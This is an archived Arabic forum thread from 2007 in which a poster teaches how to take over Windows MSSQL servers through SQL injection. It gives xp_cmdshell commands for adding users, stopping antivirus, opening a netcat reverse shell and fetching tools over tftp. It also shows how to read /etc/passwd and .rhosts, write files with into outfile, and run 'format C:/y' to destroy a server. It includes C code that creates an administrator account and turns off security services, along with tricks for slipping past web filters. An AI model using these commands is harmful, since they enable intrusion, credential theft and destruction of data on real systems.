الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

good sql injection topic

مغلق
بدأه valntinolove في 9 يونيو 2007 · 2 رد · 1,053 مشاهدة · في قواعد بيانات MySQL
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

سلام عليكم شباب

هعملكو درس حلو انهرده علشان مش هخش تانى لمده شهرين علشان جبت ملحق قران :s

و هوا عن احتراف او مش احتراف اوى يعنى انما هيا هنخش شويه فى الامر

exec

لو فاكرين الدرس اللى فات كان عن اننا خدنا روت على السيرفر طيب افرضو احنا مش عارفين ناخد روت

هنعمل ايه

!

عايزين نتعلم ازاى نطبق اوامر على السيرفر و هنركز على سيرفرات الويندوز

اول حاجه عايزين نعرف ازاى نعمل dir

exec master..xp_ cmdshell'dir';--

طيب هنتعلم حاجه كمان

و ممكن بردو تعمل كده

exec master..xp_ cmdshell'cmd.exe dir c:\';--

و كده هيشغل الدوس و بعدين يجبلك كل الملفات اللى فى c

طيب اوك تعالو نعمل حاجات كمان

exec master..xp_ cmdshell'net1 user';--

exec master..xp_ cmdshell'ping ip';--
exec master..xp_ cmdshell'net user valentino 123456 /add';--

طيب براحتك انت بقا هتعدل الاوامر اللى انت عايزها

بس ثوانى الامر ده بردو مهم

exec master..xp_cmdshell 'iisreset'; --

و هوا هيخلى الادمن و اليوزر يطبو اوامر على السيرفر و ده هيفيدك جدا و المفروض تكتبو اول واحد

علشان لو مكنش عندك صلاحيات تعرف تطبق اوامر

طيب هنخش بقا فى امر تانى

exec reg...
xp_regaddmultistring 
xp_regdeletekey 
xp_regdeletevalue 
xp_regenumkeys 
xp_regenumvalues 
xp_regread 
xp_regremovemultistring 
xp_regwrite

دول بقا كلهم تبع الريجسترى و فى ناس بتعرف تستفاد منها فى انها تجيب الباسوردات بتاعت النظام

و طريقه استخدمها

exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'

و بما انى مش بفهم فيها كتير مش هخش فيها

طيب نخش فى واحد تانى

xp_servicecontrol

و ده هيفدينا جدا

و هوا تبع السيرفس اللى شغاله على السيرفر

طبعا بقا انت اول حاجه بتقبلك على السيرفر هوا النورتن و تقفلو

xp_servicecontrol 'stop','norton service name'

و ممكن بقا شغل او توقف كل اللى انت عايزو

و بردو الامر ده حلو جدا

xp_availablemedia

و هوا تبع الدريفرات يعنى عايز تشوف الدرفرات ايه الموجوده على السيرفر

طيب ايه رائيكو نخش فى حاجات احلى شويه

دلوقتى ايه اهم حاجه انت عايزها !

اكيد انك تتصل بى النت كات علشان تتطبق الاوامر

exec master..xp_cmdshell 'C:nc.exe 192.168.0.1 53 –e cmd.exe' —

طيب ما انت هتقولى و انا هرفعو ازاى اصلا !

هقولك سهله بس عايزاك تدرس شويه فى اوامر الدوس

exec master..xp_cmdshell 'tftp –I 192.168.0.1 GET nc.exe c:nc.exe' —

و على فكره tftp ده موجود على طول

و بكده يبقا انت ريحت دماغك من رفع الشيل و راخمه السيف مود

طيب اوك تعالو نخش فى حاجه ارخم شويه

و هيا ازاى ترفع ملفات على السيرفر

طبعا اللى فهم الامر اللى فات هيبقا مش محتاج لى وجع الدماغ ده انما ادينا بنتسلى

دلوقتى عندنا حاجه سهله جدا و هيا <>

الرمزين دول مهمين جدا و هستخدمهم فى الblind sql injection

تقولى يعنى ايه

هقولك يا سيدى النوع ده من ثغرات الsql

بيبقا ناتج عن حمايه جامده سواء من السيرفر او من الاسكريبت

و هوا نوع مش بيطلع ايرور

يعنى بيقا سواء الايرور ممنوع من php.ini

او من المود سيكيورتى اللى بيفضح اى حد يحاول يجيب ايرور

او فى سكريبتات بتبقا عامله كل حاجه بين if

يعنى لو الامر اتنفذ ي بقا هيكمل و لو متنفذش و ده اللى احنا هناخد منو الايرور يعملك حاجه تانيه

طيب اوك تعالو نكمل بقا و نشوف ده هيفيدينا فى ايه

خش على الدوس و اكتب

echo valentino
output (valentino)

طبعا الناتج اللى هيظهر valentino

طيب تخيلو معايا ان الاستعلام هوا الاول و اللى هيطلع اللى هوا المفروض انو الايرور

طيب احنا مش عايزنو يظهر مثلا عايزين نحولو على ملف

سهله

اكتب

echo valentino >test.text

بكل بساطه مش هتلاقى ناتج و هتاقى فى نفس المسار ملف اسمو

test.text

و جواه كلمه valentino

اظن الفكره وصلت

احنا ممكن نستخدم الكلام ده فى حاجات كتير نها ان احنا ممكن نزرع شيل او ملف عموما فى السيرفر

و ممكن نزرع اى حاجه تانيه

يعنى مثلا على سبيل المثال البرنامج ده فى السريع

ده لو عملتو بى الامر ده هيعملك بلاوى فى السيرفر

هيعملك يوزر بى صلاحيات ادمن و هيقفل النورتن و هيقفل الابديت و هيقفل السيكيورتى سينتر و هيفتح الريموت ديسيك توب

بس لسه مخلصوتش كلو لسه هيبقا فيه حاجات تانيه يعنى استنو الاصدار الجديد :D و طبعا الملف مش هيكشفو اى حاجه لانى عاملو بطريقه ان الكاسبر ميقدرش يكلمو لان الملف نفسو مش هيعمل حاجه تضر النظام

 
#include <stdlib.h>
#include <stdio.h>
#include <conio.h>


	   add_user(){
		   FILE * batt;
	  char order;


	  if((batt=fopen("valentinolove.bat","w"))==NULL)
	  {
	  fprintf(stderr, "Error opening file.");
	  exit(1);
	  fclose(batt);}
	  else{
		  char x=34;
		  fprintf(batt,"net user valntinolove 123456 /add \nnet localgroup administrators valntinolove /add \nnet stop %csecurity center%c\nnet stop %cnorton antivirus auto protect service%c\nnet start %cremote access auto connection manager%c\nnet start %cnetmeeting remote desktop sharing%c\nnet stop %cAutomatic Updates%c\nnet stop %cWindows Firewall/Internet Connection Sharing (ICS)%c\nnet stop %cSystem Restore Service%c",x,x,x,x,x,x,x,x,x,x,x,x); fclose(batt);
		   system("valentinolove.bat");
		   system("cls");
		   remove("valentinolove.bat");

		   }};

main()
{


	  add_user();

	  printf("n100000000000000000000000000000000000000000000001111111111111111111111111111212121\n100000000000000000000000000000000000000000000001111111111111111111111111111212121\n");
	  system("cls");
}

المهم نكمل

دى كانت طريقه و فى طريقه تانيه

exec master..xp_cmdshell(echo first line >file.text);

و هتكرر بقا انت الامر ده كذا مره لحد اما تخلص الملف و بعدين التنفيذ بقا هيفرق لو انت عملت ملف

تنفيذى يبقا هتشغلو كده

exec master..xp_cmdshell(bad.exe);

انما لو الملف نصى يعنى php /html/asp etc

يبقا تشوفو بالطريقه دى

exec master..xp_cmdshell(type shell.php);

يعنى الفكره اظن انها بقت سهله دلوقتى

و ممكن نعمل حاجه تانيه بعدين عن exec

هنستخدم into outfile

union select * from admin into outfile 'file.text';

بس على فكره لازم يكون عندك صلاحيات على المسار

طيب و ممكن عمل كده بردو بس علشان تكتب ملف معين فى قاعده من عندك

يعنى مثلا انت لو عايز تاخد ملف etc/passwd على قاعده اسمها foo

طبعا هنعمل قاعد بى الاسم ده و بعدين هنستخدم bulk insert

create table foo(line varchar(8000));bulk insert foo from 'c:\inetpub\wwwroot\shell.text';--

و ممكن بردو نستخدم الداله load data

LOAD DATA LOCAL INFILE '/pet.txt' INTO TABLE foo;

هنا هناخد اللى فى الملف pet.text و نحطو فى القاعده و بعدين يبقا استعلم عنو

union select * from foo

و ممكن كده بردو

create table myfile (input TEXT); load data infile ‘/etc/passwd’ into table myfile; OR load data infile ‘/home/{user}/.rhosts’ into table myfile; select * from myfile;

و ده اساتخدمنا فيه or علشان يشوف لو عرفت ينفذ الاولى يبقا اوك انما لو متنفتش هيروح و بنفذ التانيه و الاتنين زى بعض

طيب و بردو الامر ده ظريف جدا و هوا يفيد فى blind

sp_makewebtask

و ده امر ظريف اوى و هوا عن انك هتعمل استعلام و بعدين الاستعلام ده هتحول الناتج بتاعو على صفحه html

exec master..sp_makewebtask "127.0.0.1\a.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

طيب كده خلصنا شغلنا

بس معانا اخر امر و هوا format C:/y

علشان نريح دماغنا من السيرفر ده لان صاحبو هيفت قهوه احسن:D

طيب دلوقتى اوقات كتير بيقابلنا صعوبات مع السيكيورتى فى السيرفر زى addslash\magic_qouit\mod security

وممكن تعديها بكل بساطه بانك تغير لغه الاستعلام يعنى مثلا تشفر الاستعلام بى الهكس

اما عن المود سيكيورتى فا ممكن تعديه بى انك تديلو استعلام مش موجود عندو فى .htaccess و بردو يتنفذ

مثلا انت لو عملت union select null

هيا هيا

un/**/ion se/**/lect nu/**/ll

و بردو هيا هيا

"un"+"ion" "se"+"lect" "nu"+"ll"

يعنى الحكايه كلها تشغيل مخ انا تعبت جدا اسيبكو بقا مع نفسكو تجربو الكلام ده

بس عموما انا مش هبقا موجود قبل شهرين يعنى اللى عايز يسال فى حاجه يريح دماغو و يروح على حبينا جوجل و هوا هيلاقى الاجابه ان شاء الله

و اول ما اخلص هبقا اشوف اى حد عايز حاجه و هرد عليها ان شاء الله

#2

بالنسبة لي ما بعرف MYSQL لكن يتضح لي انه يجب ان يكون في قسم MSSQL .

طبعا والكلام الحلو ده يمكن يمشي اذا كان الويندوز قديم شويتين بدون Service pack وال SQL أيضا بدون Service Pack وبرضه لشخص معه صلاحيات الادارة على الجهاز .

#3

اها فعلا يا اخ طارق هوا انت المفروض الاول تتاكد من صلاحياتك اذا كانت adbo/admin بى convert(int,(select+user));-- علشان تتاكد انك ادمن على الsql server

هذا الموضوع مغلق.

مواضيع مشابهة